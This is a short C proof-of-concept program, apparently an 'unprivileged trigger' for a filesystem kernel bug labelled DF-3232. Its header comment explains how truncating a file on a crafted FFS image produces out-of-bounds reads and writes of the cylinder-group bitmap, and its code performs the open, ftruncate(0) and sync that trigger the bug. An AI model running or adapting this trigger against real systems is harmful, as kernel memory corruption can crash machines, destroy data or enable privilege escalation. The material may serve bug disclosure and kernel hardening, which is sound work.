/*
 * trigger.c — DF-3232 unprivileged trigger.
 *
 * open() + ftruncate(0) on a file whose (offline-patched) inode points
 * di_db[0] at a high fragment number B inside cylinder group 0 of a
 * mounted filesystem whose superblock has fs_fragshift = 0 (fs_frag
 * stays 8, so ffs_subr.c's switch() stays happy).
 *
 * ffs_truncate() -> ffs_blkfree_cg() (ffs_alloc.c:1534-1544):
 *	blkno = fragstoblks(fs, B) = B >> 0 = B      (8x too large)
 *	ffs_isfreeblock(fs, blksfree, B)   <- OOB READ  ffs_subr.c:250
 *	ffs_setblock  (fs, blksfree, B)    <- OOB WRITE ffs_subr.c:294
 * with B far past the fpg/fs_frag-byte bitmap and past the cg buffer.
 */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

int
main(int argc, char **argv)
{
	int fd;

	if (argc < 2) {
		fprintf(stderr, "usage: trigger <file>\n");
		return (2);
	}
	printf("[*] trigger: uid=%d file=%s (open+ftruncate(0)+sync)\n",
	    getuid(), argv[1]);
	fflush(stdout);

	fd = open(argv[1], O_RDWR);
	if (fd < 0) {
		perror("open");
		return (1);
	}
	if (ftruncate(fd, 0) < 0)
		perror("ftruncate");
	close(fd);
	sync();
	printf("[*] survived ftruncate+sync\n");
	fflush(stdout);
	return (0);
}
